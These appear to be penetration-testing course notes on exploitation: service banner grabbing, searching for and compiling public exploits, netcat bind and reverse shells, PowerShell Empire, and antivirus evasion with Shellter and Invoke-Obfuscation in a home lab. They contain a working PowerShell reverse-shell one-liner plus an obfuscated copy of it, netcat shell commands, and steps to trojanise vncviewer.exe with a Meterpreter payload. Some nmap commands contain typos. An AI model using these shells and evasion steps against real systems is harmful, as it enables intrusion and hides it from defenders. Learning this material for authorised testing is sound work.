2.4 Exploitation

⚡ Prerequisites

  • Basic familiarity with Linux & Windows

  • Basic understanding of TCP & UDP protocols

  • Basic familiarity with Metasploit

📕 Learning Objectives

  • Identify services vulnerabilities

  • Search for and manipulate public exploit code

  • Utilize exploitation frameworks, bind & reverse shells

  • Perform exploitation in a black box pentest

  • Evade signature-based antivirus solutions

🔬 Training list - PentesterAcademy/INE Labssubscription required

🔬 Home Labs

Vulnerability Scanning

Banner Grabbing: is an information gathering technique used to enumerate information regarding the target operating system and services that're running on its open ports.

It can be performed through various techniques:

  • Performing a service vs detection scan with Nmap

  • Connecting to the open port with Netcat

  • Authenticating with the service (if it supports authentication), like as SSH, FTP, Telnet, etc..

Nmap

We can use -sV and -O flags to check service and OS version:

nmap -SV -0 IP

in alternative using nmap script or script engine:

ls -al /usr/share/nmap/scruots/ | grep banner
nmap -SV -script-banner IP

Netcat

Netcat is a TCP/IP swiss army knife, we can explore its functionality by:

man nc

to do banner grabbing we need to specify port to scan, it usually is more accurate than nmap.

nc IP port

After that, we can use tools like as searchsploit to find exploit/vulnerabilities associeted at their service vs.

Authentication

Retrieve banner using authentication, it usually isn't very helpful because not show always service version. We can use this technic for service such as: ssh, telnet, etc.

Trying SSH authentication:

ssh user@IP

shell show banner message after this command, and next it ask us password (we can't need to say it, but it's not a problem).

Vulnerability scanning with NMAP Script

We can find a list of NSE on www.nmap.org/books/nse.html or locally:

ls -al /usr/share/nmap/scripts/ | grep vuln #to find vulnerabilities

If one sites has shellshock vulnerability, we can check it using this script:

ls -al /usr/share/nmap/scripts/ | grep shellshock
nmap -sV -p 80 --script=http-shellshock IP

countdown time showed in this photo maybe means that website use a dynamic counter, probably on the server side, viewing source we see that in the js script code there's a script called gettime.cgi.

CGI scripts are used to execute system commands, commands on the actual server or on the OS that is running or hosting web server and the website and display output on the website.

Shellshock vulnerability affects them, if we try to search IP/gettime.cgi one browser, we see only dynamic counter, to check if is it vulnerable we can use: http-shellshock script with URL how argument.

nmap -sV -p 80 --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" IP

Searching for Exploits

After identification potential vulnerabilities of target, we need to search how to exploit it. Exploit code can easily found online, however, downloading and running them against a target can be quite dangerous, than, it's therefore recommended to analyze the exploit code and check if it works as intended.

Verifiable online sources:

We can use google dorks to find vulnerabilities quickly:

vsftpd 2.3.4 site:exploit-db.com #the same for rapid7 and github

Another good resource to know is packet storm that provides the latest info about vulnerabilities. It's a good attitude check on them and active RSS feed.

In additional, packet storm website contains a good section with all security tools.

❗ Always pay attention at publicly available exploits. An exploit can be weaponized to attack the actual attacker system!

📌 Analyze the exploit code behavior to ensure that it works as intended.

Searchsploit

  • Useful for security assessments on networks without Internet access

  • Pre-packed with Kali Linux

  • exploitdb local directory is:

    • /usr/share/exploitdb

# Debian-based distro install
sudo apt update && sudo apt -y install exploitdb
ls -al /usr/share/exploitdb

# Update the exploitdb package updates
searchsploit -u
searchsploit [options] <term>
searchsploit vsftpd 2.3.4

# Copy an exploit to the current working dir
searchsploit -m 49757    

# Case sensitive search
searchsploit -c OpenSSH

# Search just the exploit title
searchsploit -t vsftpd

# Exact search on title
searchsploit -e "Windows 7"

# Filters search
searchsploit remote windows smb
searchsploit remote linux ssh
searchsploit remote linux ssh OpenSSH
searchsploit remote webapps wordpress
searchsploit local windows
searchsploit local windows | grep -e "Microsoft"

# List online links
searchsploit -w remote windows smb | grep -e "EternalBlue"

Fixing Exploits

🔬 Check the Fixing Exploits Lab here

Cross-Compiling Exploits

Exploit code developed in C, C++, C# has to be compiled into a portable executable or binary.

🗒️ Cross-compilation is the process of building on one platform a binary that will run on another platform.

  • Compiling C code is a necessary skill

📌 ExploitDB bin-sploits - useful for pre-compiled binaries

e.g. of Windows and Linux exploit code compiling

Tools:

sudo apt -y install mingw-w64 gcc

Windows

  • Download the VLC exploit or use searchsploit

searchsploit VideolAN VLC SMB
searchsploit -m 9303

  • Compile the C exploit

    • check for comments in the code regarding the compilation commands

# Compile for x64
x86_64-w64-mingw32-gcc 9303.c -o exploit64.exe

# Compile for x86 (32-bit)
i686-w64-mingw32-gcc 9303.c -o exploit32.exe

Linux

  • Download the DirtyCow exploit or use searchsploit

searchsploit Dirty Cow
searchsploit -m 40839

  • Compile the C exploit

    • check for comments in the code regarding the compilation commands to compile it successfully

# Compile with
gcc -pthread 40839.c -o dirty_exploit -lcrypt

Bind & Reverse Shells

Netcat

nc - a network utility used for a variety of tasks associated with TCP/UDP.

  • Client mode - used for connection to any TCP/UDP port or to a listener

  • Server Mode - used as a listener for connection from clients on a specific port

Functionalities:

  • open TCP connections, listen on TCP or UDP ports

  • Banner grabbing, Port scanning, Files transferring

  • Bind/Reverse shells

  • 📌 Hacking with Netcat

# Debian based distro - install
sudo apt update && sudo apt install -y netcat

🔬 Some HFS Lab commands

nc <TARGET_IP> <TARGET_PORT>
nc -nv 10.2.23.227 80 #best and simple combination
# -n = no DNS resolution
# -v = verbose

nc -nvu 10.2.23.227 445
# -u = UDP port

Setup a listener:

  • Transfer nc.exe to the windows target

# Attacker machine
ip -br -c a
	10.10.24.4/24
cd /usr/share/windows-binaries/
python -m SimpleHTTPServer 80


# Target machine
cd Desktop
certutil -urlcache -f http://10.10.24.4/nc.exe nc.exe

  • Setup a listener on the attacker machine

# Attacker machine
nc -nvlp 1234
nc -nvlup 1234 # listen on a UDP port


# Target machine
nc.exe -nv 10.10.24.4 1234
nc.exe -nvu 10.10.24.4 1234

# A connection is received on the Attacker machine

  • Transfer files with nc

# A listener must be present on the target system
# Target machine
nc.exe -nvlp 1234 > test.txt

# Attacker machine
echo "Hello target" > test.txt
nc -nv 10.2.23.227 1234 < test.txt

Bind Shells

📌 Bind and Reverse shells

🗒️ Bind Shell - a remote shell where the attacker connects to the listener running on the target system and execute commands on the target system.

  • Bind shells issues:

    • Must have access to the target system

    • Inbound traffic can be blocked by a firewall, it is very suspect

  • A netcat listener must be configured on the target system to execute:

  • cmd.exe - Windows

  • /bin/bash - Linux

🔬 Same lab as above (IPs might change)

  • Once uploaded the nc.exe on the target system, proceed with the bind shell

# Target Win machine - Bind shell listener with executable cmd.exe
nc.exe -nvlp 1234 -e cmd.exe

# Attacker Linux machine
nc -nv 10.2.22.140 1234
# Target Linux machine - Bind shell listener with /bin/bash
nc -nvlp 1234 -c /bin/bash

# Attacker Win machine
nc.exe -nv 10.10.24.2 1234

Reverse Shells

🗒️ Reverse Shell - a remote shell where the target connects to a listener running on the attacker's system (e.g. Metasploit Meterpreter).

  • Reverse shells advantages:

    • The connection can be initialized without netcat too

    • Outgoing traffic may not be blocked by firewalls

  • Reverse shells issues:

    • used exploit have to know the attacker's IP

    • the attacker's IP can be logged as malicious or present in the exploit file

# Attacker Linux machine
nc -nvlp 1234

# Target Win machine
nc.exe -nv 10.10.18.3 1234 -e cmd.exe
# Attacker Linux machine
nc -nvlp 1234

# Target Linux machine (localhost in this case)
nc -nv 127.0.0.1 1234 -e /bin/bash

Reverse Shell without Netcat

📌 PayloadsAllTheThings - Reverse Shell Cheatsheet

  • Examples of Reverse Shell with different code (bash, Python, Powershell, PHP, etc)

📌 Reverse Shell Generator

e.g.

# Kali Linux attacker machine
nc -nvlp 9001
# Windows target machine
# Run CMD and paste the code below
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.31.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Exploitation Frameworks

The Metasploit Framework

  • Focus on the Exploitation phase

  • Modular

  • MSF turns the exploit code into a module, using the Ruby programming language

🔬 Check the Workflow Platform Lab here

PowerShell-Empire

Empire - PowerShell post-exploitation framework for Win, Linux and macOS

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers. The Empire server is written in Python 3 and is modular to allow operator flexibility. Empire comes built-in with a client that can be used remotely to access the server. There is also a GUI available for remotely accessing the Empire server, Starkiller.

  • PowerShell-Empire is primarily designed for Windows targets

  • Starkiller - GUI frontend for PowerShell-Empire

  • Kali Linux install

sudo apt update && sudo apt install -y powershell-empire

🔬 Home Lab based on a Kali Linux attacker VM and Win7 target VM with IP 192.168.31.131

sudo powershell-empire server

  • In another terminal tab

sudo powershell-empire client
listeners
agents

  • Open Starkiller

    • http://localhost:1337/index.html#/

    • Credentials: empireadmin:password123

  • Run the csharpserver

  • Create a http listener to receive the reverse connection from the target system

  • Generate a Stager with windows_csharp_exe type

  • Actions - Download the Sharpire.exe stager

# Open a new terminal window
cd Downloads
python3 -m http.server 80

# On the Windows VM download the Sharpire.exe from http://192.168.31.128/
# Run it

  • Back on the Starkiller Agents page, check for the active agent

  • Back in the Empire terminal session

agents
interact <ID>
history

Windows Black Box Exploitation

🗒️ Black Box penetration test - security assessment conducted without any internal system or network knowledge.

  • The pentester act like an external unprivileged hacker from outside the network

  • No information about the target system

Typical Black Box Methodology:

  • Host discovery ➡️ Port Scanning ➡️ Enumeration

  • Vulnerability detection

  • Exploitation ➡️ Manual/Automated

  • Post Exploitation - PrivEsc ➡️ Persistence ➡️ Dumping Hashes

e.g.

Scenario

  • Penetration Test to gain access and exploit a Win Server 2008 host.

Scope

  • Identify running and vulnerable services on the target

  • Exploit the vulnerabilities to obtain a foothold

🔬 The techniques will be covered in the dedicated Win Black Box Pentest Lab here. This is a lab containing a Metasploitable3 target.

  • Identify easily exploitable services

  • Pick the target as efficiently as possible

  • Time is a factor

Linux Black Box Exploitation

Scenario

  • Penetration Test to gain access and exploit a Linux server host.

Scope

  • Identify running and vulnerable services on the target

  • Exploit the vulnerabilities to obtain a foothold and gain access to the system

🔬 The techniques will be covered in the dedicated Linux Black Box Pentest Lab here. This is a lab containing a Metasploitable2 target.

AV Evasion & Obfuscation

🗒️ Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. (MITRE)

  • Antivirus detection methods can be classified as follows:

Method
Description

Signature based detection

A signature is a static unique sequence of bytes of known malware, created using essential elements of an analyzed file. The AV comes with a signature database

Heuristic base detection

Statically examine files for suspicious specific characteristics, relying on rules to determine a malicious binary

Behavior based detection

Monitor malware for suspicious behavior

  • On-disk Evasion techniques

    • Obfuscation - The act of hiding anything crucial, useful, or vital. Code is reorganized through obfuscation to make it more difficult to decipher or reverse engineer.

    • Encoding - The process of transforming data into a new format using an encoding strategy. Data can be encoded to a new format and then decoded back to its original format since encoding is a reversible operation.

    • Packing - Generate executables with updated binary structures, lower in size and a new payload's signature.

    • Crypters - Encrypts payloads, then the encrypted code is decrypted in memory. The decryption key is typically kept in a stub. (ransomware)

  • In-memory Evasion techniques

    • Memory manipulation rather than writing files to disk

    • Payload is injected into a process, then executed in memory in a separate thread

Shellter

Shellter - dynamic shellcode injection tool and dynamic PE (Portable Executable) infector ever created.

  • Uses a unique dynamic approach based on the execution flow of the target app

  • Takes advantage of the original structure of the PE file

  • Supports any 32-bit payload (generated either by metasploit or custom ones by the user)

  • Portable

  • Compatible with Windows x86/x64 (XP SP3 and above) & Wine/CrossOver for Linux/Mac

🔬 Home lab with Kali Linux and Win7 VMs

Shellter Kali Linux Installation:

sudo apt update && sudo apt install -y shellter

# Wine64 will be automatically installed
# Win32 needs additional commands to install it
sudo dpkg --add-architecture i386 && sudo apt update && sudo apt -y install wine32
rm -r ~/.wine
cd /usr/share/windows-resources/shellter

  • Execute an exe file on Linux

sudo shellter

  • Inject the shellcode into/usr/share/windows-binaries/vncviewer.exe file after copying it to a folder

mkdir AVBypass
cd AVBypass
cp /usr/share/windows-binaries/vncviewer.exe .

  • In the SHELLTER windows, choose A for automatic

  • PE Target: /home/kali/certs/ejpt/AVBypass/vncviewer.exe

  • Stealth Mode: Y = vncviewer will function as normal and the shellcode will be executed in the background

  • Payload: L - 1

  • LHOST: Attacker's IP - 192.168.31.128

  • LPORT: 1234

  • Now the /home/kali/certs/ejpt/AVBypass/vncviewer.exe file has been replaced by the Shellter generated malicious executable

  • Copy the vncviewer.exe file to the target machine

# Attacker VM
cd /home/kali/certs/ejpt/AVBypass/
sudo python -m http.server 80

# In another terminal
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run

  • Run the vncviewer.exe file and chheck the msfconsole Meterpreter session

PowerShell Code Obfuscation

Invoke-Obfuscation - a PowerShell v2.0+ compatible PowerShell command and script obfuscator.

🔬 Home lab with Kali Linux and Win7 VMs

  • Kali Linux install PowerShell

cd /opt
sudo git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
sudo apt update && sudo apt install -y powershell

  • Run pwsh

pwsh
cd /opt/Invoke-Obfuscation/
Import-Module ./Invoke-Obfuscation.psd1
cd ..
Invoke-Obfuscation

  • Create the reverse PowerShell script in a new file

    • PowerShell Reverse Shell code will be

cd /home/kali/certs/ejpt/AVBypass/    
nano shell.ps1
$client = New-Object System.Net.Sockets.TCPClient('192.168.31.128',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

  • Back in Invoke-Obfuscation

SET SCRIPTPATH /home/kali/certs/ejpt/AVBypass/shell.ps1
AST
ALL
1

  • Obfuscated code is:

Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient('192.168.31.128',4242));Set-Variable -Name stream -Value ($client.GetStream());[byte[]]$bytes = 0..65535|%{0};while((Set-Variable -Name i -Value ($stream.Read($bytes, 0, $bytes.Length))) -ne 0){;Set-Variable -Name data -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i));Set-Variable -Name sendback -Value (iex $data 2>&1 | Out-String );Set-Variable -Name sendback2 -Value ($sendback + 'PS ' + (pwd).Path + '> ');Set-Variable -Name sendbyte -Value (([text.encoding]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
cd /home/kali/certs/ejpt/AVBypass/    
nano obfuscated.ps1
# Attacker VM another terminal
cd /home/kali/certs/ejpt/AVBypass/
sudo python -m http.server 80

nc -nvlp 4242

  • Run the obfuscated.ps1 file on the Win10 VM

  • Back on the Kali VM check the PowerShell reverse shell

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